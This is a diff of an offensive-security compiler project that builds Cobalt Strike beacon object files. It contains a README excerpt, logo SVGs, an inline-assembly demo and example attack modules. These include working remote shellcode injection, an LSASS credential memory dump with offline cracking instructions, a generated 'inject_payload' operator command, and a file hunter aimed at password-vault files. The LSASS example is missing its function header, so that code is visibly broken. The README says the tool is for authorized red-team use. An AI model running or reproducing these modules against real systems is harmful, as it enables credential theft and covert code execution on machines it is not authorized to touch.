|
||||
stable enough that the examples in this README are expected to keep working.
|
||||
|
||||
Roughly what is done and what is in flight:
|
||||
|
||||
| Area | Status |
|
||||
|---|---|
|
||||
| Compiler front end (lexer, parser, type checker) | Stable. |
|
||||
| Codegen and encoder | Stable. New mnemonics get added as needed. |
|
||||
| BOF mode | Stable. |
|
||||
| Shellcode mode | Stable. |
|
||||
| OPSEC stack (poly, syscalls, sleep masks, hashed imports) | Stable. |
|
||||
| VS Code F5 / F9 flow | Stable. |
|
||||
| Garbage collector | Stable. Manual mode is the recommended default for size-sensitive builds. |
|
||||
| Linux / macOS toolchain support | Build-only. Generated artifacts always target Windows x86-64. |
|
||||
| Tests | To be implemented. |
|
||||
| ARM64 backend | Not started. |
|
||||
|
||||
---
|
||||
|
||||
## Contributing
|
||||
|
||||
Issues and pull requests are welcome. A few ground rules:
|
||||
|
||||
- **Bug reports**: include the smallest `.etpy` that reproduces the issue and
|
||||
the exact `entc compile` command line. Compiler bugs that fail at build time
|
||||
are easier to triage than runtime crashes; runtime crashes need the artifact
|
||||
and the host environment too.
|
||||
- **New language features**: open an issue first to discuss the design. The
|
||||
language surface is small on purpose.
|
||||
- **OPSEC techniques**: new `--opsec=*` flags or new `opsec_*` stdlib modules
|
||||
are encouraged. Pair the implementation with a stdlib example and a docs
|
||||
page explaining the trade-off.
|
||||
- **Pre-commit**: run `cargo build --release` and `cargo test --release`
|
||||
before pushing. We will add a CI workflow that enforces this.
|
||||
|
||||
---
|
||||
|
||||
## Authorization and responsible use
|
||||
|
||||
Entropia is dual-use security tooling. The example BOFs implement
|
||||
well-documented offensive primitives (process enumeration, token
|
||||
impersonation, remote injection, LSASS dump, AMSI and ETW silencing) that
|
||||
you can find in mainstream tradecraft references like nanodump, mimikatz,
|
||||
TrustedSec's CS-Situational-Awareness-BOF collection, and Cobalt Strike's
|
||||
stock BOF library.
|
||||
|
||||
Use Entropia only in authorized red-team engagements, CTF environments, and
|
||||
security research. The authors assume no liability for misuse.
|
||||
|
||||
---
|
||||
|
||||
## Acknowledgments
|
||||
|
||||
Entropia stands on the shoulders of a community of public research:
|
||||
|
||||
- **Cobalt Strike** for defining the BOF format and the Beacon API surface.
|
||||
- **TrustedSec** for the CS-Situational-Awareness-BOF collection and the
|
||||
COFFLoader reference.
|
||||
- **nanodump**, **freshycalls**, **HellsGate**, **HalosGate**, **TartarusGate**
|
||||
for syscall-stub research.
|
||||
- **Ekko**, **Foliage**, **Draugr** for sleep-mask and stack-spoofing
|
||||
techniques.
|
||||
- **win32metadata** for the typed Win32 surface generation.
|
||||
|
||||
---
|
||||
|
||||
<div align="center">
|
||||
|
||||
[Documentation](https://docs.entropykit.com) ·
|
||||
[Releases](https://github.com/entropykit/entropia/releases) ·
|
||||
[EntropyKit](https://entropykit.com)
|
||||
|
||||
</div>
|
||||
@@ -0,0 +1,14 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 320">
|
||||
<rect x="115" y="115" width="90" height="90" fill="none" stroke="#e8e8e8" stroke-width="3.2" stroke-opacity="1" transform="rotate(0 160 160)"/>
|
||||
<rect x="117.74" y="111.65" width="86.5" height="86.5" fill="none" stroke="#e8e8e8" stroke-width="3.12" stroke-opacity="0.945" transform="rotate(11 160.99 154.9)"/>
|
||||
<rect x="122.4" y="108.86" width="83" height="83" fill="none" stroke="#c0c0c0" stroke-width="3.04" stroke-opacity="0.89" transform="rotate(22 163.9 150.36)"/>
|
||||
<rect x="128.75" y="107.17" width="79.5" height="79.5" fill="none" stroke="#c0c0c0" stroke-width="2.96" stroke-opacity="0.835" transform="rotate(33 168.5 146.92)"/>
|
||||
<rect x="136.45" y="107.04" width="76" height="76" fill="none" stroke="#c0c0c0" stroke-width="2.88" stroke-opacity="0.78" transform="rotate(44 174.45 145.04)"/>
|
||||
<rect x="145.05" y="108.84" width="72.5" height="72.5" fill="none" stroke="#a0a0a0" stroke-width="2.8" stroke-opacity="0.725" transform="rotate(55 181.3 145.09)"/>
|
||||
<rect x="154" y="112.81" width="69" height="69" fill="none" stroke="#a0a0a0" stroke-width="2.72" stroke-opacity="0.67" transform="rotate(66 188.5 147.31)"/>
|
||||
<rect x="162.72" y="119.06" width="65.5" height="65.5" fill="none" stroke="#888888" stroke-width="2.64" stroke-opacity="0.615" transform="rotate(77 195.47 151.81)"/>
|
||||
<rect x="170.57" y="127.55" width="62" height="62" fill="none" stroke="#888888" stroke-width="2.56" stroke-opacity="0.56" transform="rotate(88 201.57 158.55)"/>
|
||||
<rect x="176.97" y="138.07" width="58.5" height="58.5" fill="none" stroke="#707070" stroke-width="2.48" stroke-opacity="0.505" transform="rotate(99 206.22 167.32)"/>
|
||||
<rect x="181.36" y="150.29" width="55" height="55" fill="none" stroke="#707070" stroke-width="2.4" stroke-opacity="0.45" transform="rotate(110 208.86 177.79)"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 1.8 KiB |
@@ -0,0 +1,14 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 320">
|
||||
<rect x="115" y="115" width="90" height="90" fill="none" stroke="#181818" stroke-width="3.2" stroke-opacity="1" transform="rotate(0 160 160)"/>
|
||||
<rect x="117.74" y="111.65" width="86.5" height="86.5" fill="none" stroke="#181818" stroke-width="3.12" stroke-opacity="0.945" transform="rotate(11 160.99 154.9)"/>
|
||||
<rect x="122.4" y="108.86" width="83" height="83" fill="none" stroke="#2a2a2a" stroke-width="3.04" stroke-opacity="0.89" transform="rotate(22 163.9 150.36)"/>
|
||||
<rect x="128.75" y="107.17" width="79.5" height="79.5" fill="none" stroke="#2a2a2a" stroke-width="2.96" stroke-opacity="0.835" transform="rotate(33 168.5 146.92)"/>
|
||||
<rect x="136.45" y="107.04" width="76" height="76" fill="none" stroke="#3a3a3a" stroke-width="2.88" stroke-opacity="0.85" transform="rotate(44 174.45 145.04)"/>
|
||||
<rect x="145.05" y="108.84" width="72.5" height="72.5" fill="none" stroke="#3a3a3a" stroke-width="2.8" stroke-opacity="0.8" transform="rotate(55 181.3 145.09)"/>
|
||||
<rect x="154" y="112.81" width="69" height="69" fill="none" stroke="#505050" stroke-width="2.72" stroke-opacity="0.78" transform="rotate(66 188.5 147.31)"/>
|
||||
<rect x="162.72" y="119.06" width="65.5" height="65.5" fill="none" stroke="#606060" stroke-width="2.64" stroke-opacity="0.72" transform="rotate(77 195.47 151.81)"/>
|
||||
<rect x="170.57" y="127.55" width="62" height="62" fill="none" stroke="#707070" stroke-width="2.56" stroke-opacity="0.7" transform="rotate(88 201.57 158.55)"/>
|
||||
<rect x="176.97" y="138.07" width="58.5" height="58.5" fill="none" stroke="#808080" stroke-width="2.48" stroke-opacity="0.65" transform="rotate(99 206.22 167.32)"/>
|
||||
<rect x="181.36" y="150.29" width="55" height="55" fill="none" stroke="#909090" stroke-width="2.4" stroke-opacity="0.55" transform="rotate(110 208.86 177.79)"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 1.8 KiB |
@@ -0,0 +1,127 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Function-local statics don't exist yet - we use a top-level one
|
||||
// the asm block reads + writes by name.
|
||||
static accumulator: u64 = 0;
|
||||
|
||||
|
||||
// Take a value through a register so callers can confirm `%a` resolved
|
||||
// to the right frame slot.
|
||||
fn identity(a: u64) -> u64 {
|
||||
var result: u64;
|
||||
asm {
|
||||
mov rax, %a // load param from its frame slot
|
||||
mov %result, rax // store rax into the local's slot
|
||||
}
|
||||
ret result;
|
||||
}
|
||||
|
||||
// Add via inline asm using two parameters. Shows the params are
|
||||
// already spilled to the frame when the asm block runs, so `%a`
|
||||
// and `%b` work the same way as locals.
|
||||
fn asm_add(a: u64, b: u64) -> u64 {
|
||||
var result: u64;
|
||||
asm {
|
||||
mov rax, %a
|
||||
add rax, %b
|
||||
mov %result, rax
|
||||
}
|
||||
ret result;
|
||||
}
|
||||
|
||||
// Counted loop demonstrating asm-local labels + conditional jumps.
|
||||
// Sums 1..=n via plain ADDs, no host-language control flow.
|
||||
fn asm_sum_to(n: u64) -> u64 {
|
||||
var total: u64 = 0;
|
||||
var i: u64 = 1;
|
||||
asm {
|
||||
mov rax, %total
|
||||
mov rcx, %i
|
||||
mov rdx, %n
|
||||
loop_top:
|
||||
cmp rcx, rdx
|
||||
ja done // unsigned above to i > n, exit
|
||||
add rax, rcx
|
||||
inc rcx
|
||||
jmp loop_top
|
||||
done:
|
||||
mov %total, rax
|
||||
}
|
||||
ret total;
|
||||
}
|
||||
|
||||
// Pointer walk via memory operands. `buf` is a u64*; we sum the
|
||||
// first `n` slots via `[reg + idx*8]` indexed loads.
|
||||
fn asm_sum_array(buf: u64*, n: u64) -> u64 {
|
||||
var total: u64 = 0;
|
||||
asm {
|
||||
xor rax, rax // total
|
||||
xor rcx, rcx // idx
|
||||
mov rdx, %buf
|
||||
mov r8, %n
|
||||
walk:
|
||||
cmp rcx, r8
|
||||
jae fin
|
||||
mov r9, [rdx + rcx*8] // qword-indexed load
|
||||
add rax, r9
|
||||
inc rcx
|
||||
jmp walk
|
||||
fin:
|
||||
mov %total, rax
|
||||
}
|
||||
ret total;
|
||||
}
|
||||
|
||||
// Call a local fn from inline asm with arg already loaded. Result
|
||||
// comes back in rax under Win64; we drop it into a local for return.
|
||||
fn asm_call_demo(x: u64) -> u64 {
|
||||
var got: u64;
|
||||
asm {
|
||||
mov rcx, %x // load arg 0 into the Win64 slot
|
||||
call %identity // to rax = x
|
||||
mov %got, rax
|
||||
}
|
||||
ret got;
|
||||
}
|
||||
|
||||
// Mutate a static through asm. Demonstrates `%global` resolves to
|
||||
// `[rip + __static_accumulator]` and that the static survives the
|
||||
// in-asm round trip.
|
||||
fn asm_bump_static(delta: u64) -> u64 {
|
||||
asm {
|
||||
mov rax, %accumulator
|
||||
add rax, %delta
|
||||
mov %accumulator, rax
|
||||
}
|
||||
ret accumulator;
|
||||
}
|
||||
|
||||
// Composition test: build a number through every flavour of inline
|
||||
// asm, then pop a MessageBox showing the result so a human can see
|
||||
// the demo ran.
|
||||
fn main() -> int {
|
||||
var x: u64 = 0x12345678;
|
||||
var sum_1_to_10: u64 = asm_sum_to(10); // 55
|
||||
var added: u64 = asm_add(x, sum_1_to_10);
|
||||
var echoed: u64 = asm_call_demo(added);
|
||||
|
||||
// Sum a small inline buffer via the indexed-load helper.
|
||||
var buf: u64[4];
|
||||
buf[0] = 1;
|
||||
buf[1] = 2;
|
||||
buf[2] = 4;
|
||||
buf[3] = 8;
|
||||
var arr_sum: u64 = asm_sum_array((u64*)buf, 4); // 15
|
||||
|
||||
// Bump the static twice to prove %global round-trips.
|
||||
asm_bump_static(1);
|
||||
asm_bump_static(arr_sum); // accumulator = 16
|
||||
|
||||
// Compose everything into a final number, pop it as a MessageBox.
|
||||
var final_val: u64 = echoed + accumulator;
|
||||
|
||||
// Format the value into a string buffer for the popup.
|
||||
User32.MessageBoxA(0, str.format("asm demo: 0x{x}", final_val),
|
||||
"EntropyKit inline asm", 0);
|
||||
ret 0;
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
# inject_payload.cna
|
||||
# Auto-generated by entc from example/bof_cna_test.etpy.
|
||||
# Do not edit by hand; regenerate by rebuilding the .obj.
|
||||
|
||||
alias inject_payload {
|
||||
local('$bid $pid $path');
|
||||
if (size(@_) != 3) { berror($1, "usage: inject_payload <pid> <path>"); return; }
|
||||
($bid, $pid, $path) = @_;
|
||||
$args = bof_pack($bid, "iz", $pid, $path);
|
||||
bof_inline_execute($bid, script_resource("bof_cna_test.x64.o"), "inject_payload", $args);
|
||||
}
|
||||
|
||||
beacon_command_register(
|
||||
"inject_payload",
|
||||
"Auto-generated BOF command from example/bof_cna_test.etpy",
|
||||
"Usage: inject_payload <pid> <path>");
|
||||
@@ -0,0 +1,23 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
// bof_args_test.etpy - declarative argument binding via [BofArgs].
|
||||
//
|
||||
// The struct is annotated; the compiler synthesises
|
||||
// bof_parse_TestArgs(args, len, &out) that drives BeaconDataParse +
|
||||
// BeaconDataInt + BeaconDataExtract in declaration order.
|
||||
//
|
||||
// Run: bof-runner bof_args_test.obj --iarg 1234 --zarg "hello"
|
||||
|
||||
use bof;
|
||||
|
||||
[BofArgs]
|
||||
struct TestArgs {
|
||||
pid: int,
|
||||
name: char*,
|
||||
}
|
||||
|
||||
fn go(args: char*, len: int) -> void {
|
||||
var a: TestArgs;
|
||||
bof_parse_TestArgs(args, len, &a);
|
||||
BeaconPrintf(0, str.format("pid={d} name={s}\n", a.pid, (char*)a.name));
|
||||
ret;
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
// bof_cna_test.etpy - `[BofCommand]` + `[BofArgs]` end-to-end.
|
||||
//
|
||||
// Building this BOF produces both:
|
||||
// - bof_cna_test.obj (the BOF artifact)
|
||||
// - bof_cna_test.cna (Aggressor script registering the command)
|
||||
//
|
||||
// Drop both into a Cobalt Strike profile dir, restart the server,
|
||||
// and operators can run: `inject_payload 1234 "C:\path\to\payload.bin"`
|
||||
|
||||
use bof;
|
||||
|
||||
[BofArgs]
|
||||
struct InjectArgs {
|
||||
pid: int,
|
||||
path: char*,
|
||||
}
|
||||
|
||||
[BofCommand("inject_payload")]
|
||||
fn go(args: char*, len: int) -> void {
|
||||
var a: InjectArgs;
|
||||
bof_parse_InjectArgs(args, len, &a);
|
||||
BeaconPrintf(0, str.format("[+] target pid={d} path={s}\n", a.pid, a.path));
|
||||
ret;
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
// bof_enum_demo.etpy - namespaced enums
|
||||
//
|
||||
// Name.Variant lowers to an integer literal at compile time.
|
||||
// Different enums can share variant names (Color.Red vs Severity.High vs ErrorCode.Red - all distinct).
|
||||
|
||||
use bof;
|
||||
|
||||
enum Severity {
|
||||
Info = 0,
|
||||
Warn = 1,
|
||||
Error = 2,
|
||||
Fatal = 3,
|
||||
}
|
||||
|
||||
enum Color {
|
||||
Red = 0xFF0000,
|
||||
Green = 0x00FF00,
|
||||
Blue = 0x0000FF,
|
||||
}
|
||||
|
||||
// Auto-increment from previous: HKLM = 1, HKCU = 2, HKCR = 3
|
||||
enum Hive {
|
||||
HKLM = 1,
|
||||
HKCU,
|
||||
HKCR,
|
||||
}
|
||||
|
||||
fn log_line(sev: int, msg: str) -> void {
|
||||
if sev == Severity.Info { BeaconPrintf(0, str.format("[INFO ] {s}\n", msg)); }
|
||||
if sev == Severity.Warn { BeaconPrintf(0, str.format("[WARN ] {s}\n", msg)); }
|
||||
if sev == Severity.Error { BeaconPrintf(0, str.format("[ERROR] {s}\n", msg)); }
|
||||
if sev == Severity.Fatal { BeaconPrintf(0, str.format("[FATAL] {s}\n", msg)); }
|
||||
ret;
|
||||
}
|
||||
|
||||
fn go(args: char*, len: int) -> void {
|
||||
log_line(Severity.Info, "starting");
|
||||
log_line(Severity.Warn, "watch out");
|
||||
log_line(Severity.Error, "bad happened");
|
||||
log_line(Severity.Fatal, "give up");
|
||||
BeaconPrintf(0, str.format("red = 0x{x}\n", Color.Red));
|
||||
BeaconPrintf(0, str.format("green = 0x{x}\n", Color.Green));
|
||||
BeaconPrintf(0, str.format("HKLM = {d}\n", Hive.HKLM));
|
||||
BeaconPrintf(0, str.format("HKCU = {d}\n", Hive.HKCU));
|
||||
BeaconPrintf(0, str.format("HKCR = {d}\n", Hive.HKCR));
|
||||
ret;
|
||||
}
|
||||
@@ -0,0 +1,133 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
// bof_filehunt.etpy - substring-match file hunting.
|
||||
//
|
||||
// Walks a directory via FindFirstFileA / FindNextFileA, collects
|
||||
// every entry whose name contains the operator-supplied substring
|
||||
// into a doubly-linked list, then prints all matches at the end.
|
||||
//
|
||||
// Build: entc compile example/bof_filehunt.etpy --type=bof
|
||||
// Args:
|
||||
// --zarg <directory> directory to walk (e.g. C:\Users\dev)
|
||||
// --zarg <substring> match substring (e.g. ".kdbx")
|
||||
// Run: bof-runner example/bof_filehunt.obj \
|
||||
// --zarg "C:\Users\dev" \
|
||||
// --zarg ".kdbx"
|
||||
|
||||
use bof;
|
||||
use list;
|
||||
use_c "stdlib/win32/filesystem.h";
|
||||
|
||||
// strlen_max(s, max) - walk the NUL-terminated string, return the length (excluding the nul). Bounded by max so a runaway pointer doesn't fault.
|
||||
//No libc dependency.
|
||||
fn strlen_max(s: char*, max: u64) -> u64 {
|
||||
var i: u64 = 0;
|
||||
while i < max {
|
||||
if s[i] == (u8)0 { ret i; }
|
||||
i = i + 1;
|
||||
}
|
||||
ret max;
|
||||
}
|
||||
|
||||
// contains - true iff needle occurs as a contiguous byte substring of haystack[0..hlen].
|
||||
// O(hlen * nlen) - fine for the path-length scale we operate on.
|
||||
fn contains(haystack: char*, hlen: u64, needle: char*, nlen: u64) -> bool {
|
||||
if nlen == 0 { ret true; } // empty needle matches everywhere
|
||||
if nlen > hlen { ret false; }
|
||||
var i: u64 = 0;
|
||||
while i + nlen <= hlen {
|
||||
if mem.cmp((char*)(haystack + i), needle, nlen) == 0 {
|
||||
ret true;
|
||||
}
|
||||
i = i + 1;
|
||||
}
|
||||
ret false;
|
||||
}
|
||||
|
||||
// gc_strdup - allocate n + 1 bytes on the GC heap,
|
||||
// copy the source bytes in, NUL-terminate. Returns the pointer as a u64 ready to push into a List
|
||||
fn gc_strdup(src: char*, n: u64) -> u64 {
|
||||
var dst: u64 = mem.alloc(n + 1);
|
||||
if dst == 0 { ret 0; }
|
||||
mem.copy((void*)dst, src, n);
|
||||
// mem.alloc zero-inits (HEAP_ZERO_MEMORY in BOF mode), so the
|
||||
// NUL terminator is already at position `n`. Nothing more to do.
|
||||
ret dst;
|
||||
}
|
||||
|
||||
fn go(args: char*, len: int) -> void {
|
||||
|
||||
// First z-string: directory to walk. Second: match substring.
|
||||
// Both required; we error out cleanly if either is missing.
|
||||
var parser: datap;
|
||||
BeaconDataParse(&parser, args, len);
|
||||
var dir_len: int = 0;
|
||||
var dir: char* = BeaconDataExtract(&parser, &dir_len);
|
||||
var needle_len: int = 0;
|
||||
var needle: char* = BeaconDataExtract(&parser, &needle_len);
|
||||
if dir_len == 0 || needle_len == 0 {
|
||||
BeaconPrintf(0, "[!] usage: filehunt <directory> <substring>\n");
|
||||
ret;
|
||||
}
|
||||
BeaconPrintf(0, str.format("[+] hunting in {s} for `{s}`\n", dir, needle));
|
||||
|
||||
|
||||
// FindFirstFileA wants a glob. We stitch the operator's directory together with `\*` so every entry inside it surfaces.
|
||||
// stick to a 280-byte buffer. If the operator passes anything wider we truncate (FindFirstFileA fails gracefully if the path doesn't exist).
|
||||
var pattern: u8[280];
|
||||
var d_used: u64 = strlen_max(dir, 260);
|
||||
mem.copy((char*)pattern, dir, d_used);
|
||||
pattern[d_used ] = (u8)0x5c; // '\'
|
||||
pattern[d_used + 1] = (u8)0x2a; // '*'
|
||||
pattern[d_used + 2] = (u8)0; // NUL
|
||||
|
||||
// FindFirstFileA returns INVALID_HANDLE_VALUE (-1) on failure.
|
||||
// FindNextFileA returns 0 (FALSE) when the iteration is done, the loop bails on the first false
|
||||
var fd: WIN32_FIND_DATAA;
|
||||
var h: u64 = (u64)Kernel32.FindFirstFileA((char*)pattern, &fd);
|
||||
if h == 0xFFFFFFFFFFFFFFFF {
|
||||
BeaconPrintf(0, str.format("[!] FindFirstFileA(`{s}`) failed\n", (char*)pattern));
|
||||
ret;
|
||||
}
|
||||
|
||||
// Match collector: every matching filename gets copied onto the GC heap and pushed into this list. list_new() from
|
||||
// stdlib/list.etpy
|
||||
var matches: u64 = list_new();
|
||||
var scanned: int = 0;
|
||||
|
||||
var nlen_u: u64 = (u64)needle_len - 1; // strip the nul beacon counted
|
||||
var more: int = 1;
|
||||
while more != 0 {
|
||||
var fname: char* = (char*)fd.cFileName;
|
||||
var flen: u64 = strlen_max(fname, 260);
|
||||
|
||||
// Skip the '.' / '..' entries
|
||||
var skip: bool = false;
|
||||
if flen == 1 && fname[0] == (u8)0x2e { skip = true; }
|
||||
if flen == 2 && fname[0] == (u8)0x2e && fname[1] == (u8)0x2e { skip = true; }
|
||||
|
||||
if skip == false {
|
||||
scanned = scanned + 1;
|
||||
if contains(fname, flen, needle, nlen_u) {
|
||||
var copy: u64 = gc_strdup(fname, flen);
|
||||
if copy != 0 { list_push(matches, copy); }
|
||||
}
|
||||
}
|
||||
|
||||
more = Kernel32.FindNextFileA((void*)h, &fd);
|
||||
}
|
||||
Kernel32.FindClose((void*)h);
|
||||
|
||||
// Walk the list head-to-tail.
|
||||
// Each node's value is the pointer we kept via gc_strdup so cast it back to har* and print directly.
|
||||
var hits: u64 = list_count(matches);
|
||||
BeaconPrintf(0, str.format("[+] scanned {d} entries, {d} hits:\n",
|
||||
scanned, (int)hits));
|
||||
|
||||
var node: u64 = list_head(matches);
|
||||
while node != 0 {
|
||||
var path: char* = (char*)list_node_value(node);
|
||||
BeaconPrintf(0, str.format(" {s}\n", path));
|
||||
node = list_node_next(node);
|
||||
}
|
||||
ret;
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
// bof_inject.etpy - remote-process shellcode injection.
|
||||
// Build: entc compile example/bof_inject.etpy --type=bof
|
||||
//
|
||||
// Args:
|
||||
// --iarg <pid> target process
|
||||
// --barg @<shellcode> shellcode payload (raw bytes, length-prefixed)
|
||||
//
|
||||
// Run: bof-runner example/bof_inject.obj \
|
||||
// --iarg 4242 \
|
||||
// --barg @example/payload.bin
|
||||
|
||||
use bof;
|
||||
|
||||
fn go(args: char*, len: int) -> void {
|
||||
|
||||
var parser: datap;
|
||||
BeaconDataParse(&parser, args, len);
|
||||
var pid: int = BeaconDataInt(&parser);
|
||||
|
||||
var sc_len: int = 0;
|
||||
var sc_ptr: char* = BeaconDataExtract(&parser, &sc_len);
|
||||
|
||||
if pid == 0 || sc_len == 0 {
|
||||
BeaconPrintf(0, "[!] usage: inject <pid> <shellcode>\n");
|
||||
BeaconPrintf(0, " operator passes the payload via bof_pack \"b\"\n");
|
||||
ret;
|
||||
}
|
||||
BeaconPrintf(0, str.format("[+] target pid {d}, payload {d} bytes\n",
|
||||
pid, sc_len));
|
||||
|
||||
var h_proc: u64 = (u64)Kernel32.OpenProcess(
|
||||
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION
|
||||
| PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
|
||||
0, (u32)pid);
|
||||
if h_proc == 0 {
|
||||
BeaconPrintf(0, "[!] OpenProcess failed (privs / target gone?)\n");
|
||||
ret;
|
||||
}
|
||||
|
||||
|
||||
// Allocate sc_len bytes inside the remote process, RWX.
|
||||
var remote: u64 = (u64)Kernel32.VirtualAllocEx(
|
||||
(void*)h_proc, (void*)0, (u64)sc_len,
|
||||
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
if remote == 0 {
|
||||
Kernel32.CloseHandle((void*)h_proc);
|
||||
BeaconPrintf(0, "[!] VirtualAllocEx failed\n");
|
||||
ret;
|
||||
}
|
||||
BeaconPrintf(0, str.format("[+] remote alloc @ 0x{x}\n", (int)remote));
|
||||
|
||||
var written: u64 = 0;
|
||||
var ok: int = Kernel32.WriteProcessMemory(
|
||||
(void*)h_proc, (void*)remote, sc_ptr, (u64)sc_len, &written);
|
||||
if ok == 0 {
|
||||
Kernel32.CloseHandle((void*)h_proc);
|
||||
BeaconPrintf(0, "[!] WriteProcessMemory failed\n");
|
||||
ret;
|
||||
}
|
||||
|
||||
var old_prot: u32 = 0;
|
||||
Kernel32.VirtualProtectEx(
|
||||
(void*)h_proc, (void*)remote, (u64)sc_len,
|
||||
PAGE_EXECUTE_READ, &old_prot);
|
||||
|
||||
var tid: u32 = 0;
|
||||
var h_thr: u64 = (u64)Kernel32.CreateRemoteThread(
|
||||
(void*)h_proc, (void*)0, (u64)0,
|
||||
(void*)remote, (void*)0, 0, &tid);
|
||||
Kernel32.CloseHandle((void*)h_proc);
|
||||
|
||||
if h_thr == 0 {
|
||||
BeaconPrintf(0, "[!] CreateRemoteThread failed\n");
|
||||
ret;
|
||||
}
|
||||
Kernel32.CloseHandle((void*)h_thr);
|
||||
BeaconPrintf(0, str.format("[+] thread {d} running in pid {d}\n",
|
||||
(int)tid, pid));
|
||||
ret;
|
||||
}
|
||||
@@ -0,0 +1,102 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
// bof_lsass_dump.etpy - credential-store memory dump.
|
||||
//
|
||||
// Locates lsass.exe via Toolhelp32, OpenProcess's it with
|
||||
// PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, then writes a full
|
||||
// minidump via dbghelp!MiniDumpWriteDump. The .dmp can be carried
|
||||
// back and processed offline with mimikatz / pypykatz / etc.
|
||||
//
|
||||
// Same tradecraft surface as nanodump / dumpert / Mimikatz'
|
||||
// `sekurlsa::minidump` - but in ~80 lines of EntropyKit source
|
||||
// instead of 800 of hand-rolled C with `#ifdef _MSC_VER` blocks.
|
||||
//
|
||||
// Pre-conditions:
|
||||
// * SeDebugPrivilege (admin token OR steal token from a process
|
||||
// that has it). Without it, OpenProcess returns NULL and the
|
||||
// BOF reports `[!] OpenProcess failed`.
|
||||
//
|
||||
// Build: entc compile example/bof_lsass_dump.etpy --type=bof
|
||||
// Args: --zarg "C:\Path\to\output.dmp" (optional; default below)
|
||||
// Run: bof-runner example/bof_lsass_dump.obj --zarg "C:\\Windows\\Temp\\debug.bin"
|
||||
//
|
||||
|
||||
use bof;
|
||||
use_c "stdlib/win32/toolhelp.h";
|
||||
|
||||
// Find lsass.exe by walking the toolhelp snapshot. Returns its PID or 0 if not found.
|
||||
var snap: u64 = (u64)Kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if snap == 0xFFFFFFFFFFFFFFFF {
|
||||
BeaconPrintf(0, "[!] CreateToolhelp32Snapshot failed\n");
|
||||
ret 0;
|
||||
}
|
||||
var pe: PROCESSENTRY32;
|
||||
pe.dwSize = (u32)sizeof(PROCESSENTRY32);
|
||||
|
||||
var ok: int = Kernel32.Process32First((void*)snap, &pe);
|
||||
var found: u32 = 0;
|
||||
while ok != 0 {
|
||||
|
||||
if mem.cmp((char*)pe.szExeFile, "lsass.exe", 10) == 0 {
|
||||
found = pe.th32ProcessID;
|
||||
}
|
||||
ok = Kernel32.Process32Next((void*)snap, &pe);
|
||||
}
|
||||
Kernel32.CloseHandle((void*)snap);
|
||||
ret found;
|
||||
}
|
||||
|
||||
fn go(args: char*, len: int) -> void {
|
||||
|
||||
var parser: datap;
|
||||
BeaconDataParse(&parser, args, len);
|
||||
var size: int;
|
||||
var path: char* = BeaconDataExtract(&parser, &size);
|
||||
|
||||
if size == 0 {
|
||||
path = "C:\\Windows\\Temp\\debug.bin";
|
||||
}
|
||||
|
||||
var pid: u32 = find_lsass_pid();
|
||||
if pid == 0 {
|
||||
BeaconPrintf(0, "[!] lsass.exe not found in snapshot\n");
|
||||
ret;
|
||||
}
|
||||
BeaconPrintf(0, str.format("[+] lsass.exe pid = {d}\n", (int)pid));
|
||||
|
||||
var h_proc: u64 = (u64)Kernel32.OpenProcess(
|
||||
PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, pid);
|
||||
if h_proc == 0 {
|
||||
BeaconPrintf(0, "[!] OpenProcess failed - SeDebugPrivilege required\n");
|
||||
BeaconPrintf(0, " (elevate, or impersonate a SYSTEM token first)\n");
|
||||
ret;
|
||||
}
|
||||
BeaconPrintf(0, str.format("[+] OpenProcess OK, handle=0x{x}\n", (int)h_proc));
|
||||
|
||||
var h_file: u64 = (u64)Kernel32.CreateFileA(
|
||||
path, GENERIC_WRITE, 0, (void*)0,
|
||||
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, (void*)0);
|
||||
if h_file == 0xFFFFFFFFFFFFFFFF {
|
||||
Kernel32.CloseHandle((void*)h_proc);
|
||||
BeaconPrintf(0, str.format("[!] CreateFileA(\"{s}\") failed\n", path));
|
||||
ret;
|
||||
}
|
||||
|
||||
BeaconPrintf(0, "[+] writing minidump...\n");
|
||||
var dumped: int = Dbghelp.MiniDumpWriteDump(
|
||||
(void*)h_proc, pid, (void*)h_file,
|
||||
MiniDumpWithFullMemory,
|
||||
(void*)0, (void*)0, (void*)0
|
||||
);
|
||||
|
||||
Kernel32.CloseHandle((void*)h_file);
|
||||
Kernel32.CloseHandle((void*)h_proc);
|
||||
|
||||
if dumped != 0 {
|
||||
BeaconPrintf(0, str.format("[+] wrote {s}\n", path));
|
||||
BeaconPrintf(0, "[+] retrieve via `download`, then offline:\n");
|
||||
BeaconPrintf(0, " pypykatz lsa minidump <file>\n");
|
||||
} else {
|
||||
BeaconPrintf(0, "[!] MiniDumpWriteDump failed\n");
|
||||
}
|
||||
ret;
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
// bof_manual_mem.etpy - verify mem.alloc / mem.free pair.
|
||||
//
|
||||
// In BOF mode this works regardless of --gc. In standard mode it requires --gc=manual.
|
||||
|
||||
use bof;
|
||||
|
||||
fn go(args: char*, len: int) -> void {
|
||||
var buf: u64 = mem.alloc(64);
|
||||
if buf == 0 {
|
||||
BeaconPrintf(0, "[!] HeapAlloc failed\n");
|
||||
ret;
|
||||
}
|
||||
var b: u8* = (u8*)buf;
|
||||
